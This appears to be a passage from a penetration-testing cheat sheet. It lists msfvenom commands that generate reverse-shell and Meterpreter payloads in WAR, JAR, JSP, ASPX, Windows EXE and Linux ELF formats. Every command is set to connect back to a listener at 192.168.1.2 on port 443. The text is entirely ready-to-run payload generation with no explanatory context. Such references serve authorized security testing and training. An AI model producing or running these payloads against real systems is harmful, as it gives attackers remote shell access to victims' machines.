msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > reverse.war

JAR Payload

msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.jar

JSP Payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.jsp

ASPX Payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx

---

Windows Payloads

Windows Listener Netcat

x86 - Shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x64 - Shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

Windows Listener Metasploit Multi Handler

x86 - Meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x64 - Meterpreter

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x86 - Shell

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

x64 - Shell

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

---

Linux Payloads

Linux Listener Netcat

x86 - Shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x64 - Shell

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

---

Linux Listener Metasploit Multi Handler

x86 - Meterpreter

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x64 - Meterpreter

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x86 - Shell

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

x64 - Shell

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

---